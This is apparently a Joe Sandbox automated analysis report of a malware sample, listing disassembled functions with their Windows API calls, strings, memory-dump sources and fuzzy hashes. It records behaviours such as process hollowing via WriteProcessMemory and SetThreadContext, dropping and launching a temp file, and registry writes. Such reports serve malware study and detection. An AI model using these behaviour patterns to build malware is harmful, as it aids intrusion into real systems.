Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Function 040C6F30 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\rwmckfcj,040C7043), ref: 040C6F4E
GetProcAddress.KERNEL32(00000000), ref: 040C6F55
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 040C6F7B
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 040C6F92

Strings

PromptOnSecureDesktop, xrefs: 040C6F9D, 040C6FBF, 040C6FCF, 040C6FE5, 040C6FF5
\\.\pipe\rwmckfcj, xrefs: 040C6F37
C:\Windows\SysWOW64\, xrefs: 040C6F30, 040C6F38, 040C6F65, 040C6F6C, 040C6F7A, 040C6F85, 040C6F91, 040C6FA9, 040C6FC6, 040C6FEC

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\rwmckfcj
API String ID: 1082366364-2125150131
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 162179ae664c4dbc2128d8baba1f69a3a633f97449c42045bcfce0b992b39ca8
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 3F21C221741341FAF77257319C88FFF2A8C8B42758F2840ADF944B64D1DAD9A4D6826D

Function 00409064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Function 040C92CB Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 040C92E2
wsprintfA.USER32 ref: 040C9350
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 040C9375
lstrlen.KERNEL32(?,?,00000000), ref: 040C9389
WriteFile.KERNEL32(00000000,?,00000000), ref: 040C9394
CloseHandle.KERNEL32(00000000), ref: 040C939B

Strings

PromptOnSecureDesktop, xrefs: 040C932B, 040C9343, 040C935E

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: f8fdb53683a4481bfe58dd611e8cb23b28b6256c96c1f5515762044855291dd9
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: 761172B2740114BBE7206771EC0DFEF3A6DDBC8B19F008069BB09B5091EAB45A4297A4

Function 040C99E3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 040C9A18
GetThreadContext.KERNEL32(?,?), ref: 040C9A52
TerminateProcess.KERNEL32(?,00000000), ref: 040C9A60
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 040C9A98
SetThreadContext.KERNEL32(?,00010002), ref: 040C9AB5
ResumeThread.KERNEL32(?), ref: 040C9AC2

Strings

D, xrefs: 040C9A10

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 6a844d91582650feedbce2f723c6dc69244fffaa24ca7da2b08af8d6d8494c57
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 81213BB1A01219BBDB519BA1DC09EEF7BBCEF04754F404065FA19F1050E7759A44CBA4

Function 040C1C03 Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 040C1C18
LoadLibraryA.KERNEL32(004102C8), ref: 040C1C26
GetProcessHeap.KERNEL32 ref: 040C1C84
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 040C1C9D
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 040C1CC1
HeapFree.KERNEL32(?,00000000,00000000), ref: 040C1D02
FreeLibrary.KERNEL32(?), ref: 040C1D0B

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 2a046dc11a59ed45c015142c05512e08c51756906a42fa01ed6a52c5e9201405
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: EF313B32E00219FFCB519FE4DC888AEBABAEB45711B24447EF501B6111D7B55E80DF94

Function 0040E3CA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Function 00404280 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction ID: 580dd723e2696739ab8c529274da47b2bc3b4765397f1bbb4cd5042057411b76
Opcode Fuzzy Hash: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction Fuzzy Hash: F94181B1900209BADB109BA2CD45F9FBFBCEF40355F104566F614B21C1D7789A51DBA4

Function 040C6CC7 Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 040C6CE4
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 040C6D22
GetLastError.KERNEL32 ref: 040C6DA7
CloseHandle.KERNEL32(?), ref: 040C6DB5
GetLastError.KERNEL32 ref: 040C6DD6
DeleteFileA.KERNEL32(?), ref: 040C6DE7
GetLastError.KERNEL32 ref: 040C6DFD

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction ID: 2311ca8192e780eb1b4ad7074da3608d68d87d396f5d02f15b958775723c3721
Opcode Fuzzy Hash: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction Fuzzy Hash: F031E272D00149FFDB219FA4DD44ADE7FBAEF48304F148469E211B7250D772A5458BA1

Function 00409145 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32(?,?), ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Function 040C93AC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 040C93C6
GetModuleFileNameA.KERNEL32(00000000), ref: 040C93CD
CharToOemA.USER32(?,?), ref: 040C93DB
wsprintfA.USER32 ref: 040C9410

Part of subcall function 040C92CB: GetTempPathA.KERNEL32(00000400,?), ref: 040C92E2
Part of subcall function 040C92CB: wsprintfA.USER32 ref: 040C9350
Part of subcall function 040C92CB: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 040C9375
Part of subcall function 040C92CB: lstrlen.KERNEL32(?,?,00000000), ref: 040C9389
Part of subcall function 040C92CB: WriteFile.KERNEL32(00000000,?,00000000), ref: 040C9394
Part of subcall function 040C92CB: CloseHandle.KERNEL32(00000000), ref: 040C939B

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 040C9448

Strings

PromptOnSecureDesktop, xrefs: 040C93FA, 040C93FF, 040C941C

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: 1ae3d5b2005a9de36b61c64b0684919e9d873786577b5e4075fb41bc72744c38
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: C70192F6900118BBE720A7619D89EDF377CDB85705F0040A5BB49F2080DAB497C48F75

Function 040CAA28 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 040CAAE5

Strings

localcfg, xrefs: 040CAD72
, xrefs: 040CABB3

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: d11b0a8599c5d9cad7b2df44576c9445bd94a0a59ced9ee264492ad8b3bfcebc
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 2B710A71B4030CEBEF619B94ECC5FEE37AA9B40719F24402EF905B60D1DAA1B5848F56

Function 0040E8A1 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Function 040CE8BB Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 040CDF6C: GetCurrentThreadId.KERNEL32 ref: 040CDFBA

lstrcmp.KERNEL32(00410178,00000000), ref: 040CE8FA
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,040C6128), ref: 040CE950
lstrcmp.KERNEL32(?,00000008), ref: 040CE989

Strings

A, xrefs: 040CE960, 040CE965
A, xrefs: 040CE8C6, 040CE8CD, 040CE936, 040CE998
A, xrefs: 040CE9A0

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: 6f0e261295d9487e3be51681dbe1faae9d46c5fae0e615cca7d1e40e824896b8
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 3A318B31600705DBDBB18F24C884BAE7BE8FB09724F10892EE599A7551E370F885CBC2

Function 040C6E0E Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 040C6E19

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: f2cf30c949edea78775fc7a27ddef98eb01f49b045291d8fac1cf34b7f79cc60
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: 84212172204119FFDB209B71FC48EDF7FEDDB496A5B10882AF502E1091EB71EA4096B4

Function 0040DD05 Relevance: 9.0, APIs: 6, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,75920F10,?,00000000,0040E538,?,75920F10,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Function 040CC543 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 040CC6B4
InterlockedIncrement.KERNEL32(040CC74B), ref: 040CC715
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,040CC747), ref: 040CC728
CloseHandle.KERNEL32(00000000,?,040CC747,00413588,040C8A77), ref: 040CC733

Strings

localcfg, xrefs: 040CC544

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 4570966e592fdd29a128d73e8cd29479c1c07b30d2b92cdbe33f4c98334c8ee0
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: CF514DB1A05B41CFE7649F79C6C462ABBE9FB48304B50593EE18BD7AA0D774F8408B10

Function 004080C9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,75920F10,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Function 0040E095 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Function 040CE2FC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,040CE50A,00000000,00000000,00000000,00020106,00000000,040CE50A,00000000,000000E4), ref: 040CE319
RegSetValueExA.ADVAPI32(040CE50A,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 040CE38E
RegDeleteValueA.ADVAPI32(040CE50A,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 040CE3BF
RegCloseKey.ADVAPI32(040CE50A,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,040CE50A), ref: 040CE3C8

Strings

PromptOnSecureDesktop, xrefs: 040CE33A

Memory Dump Source

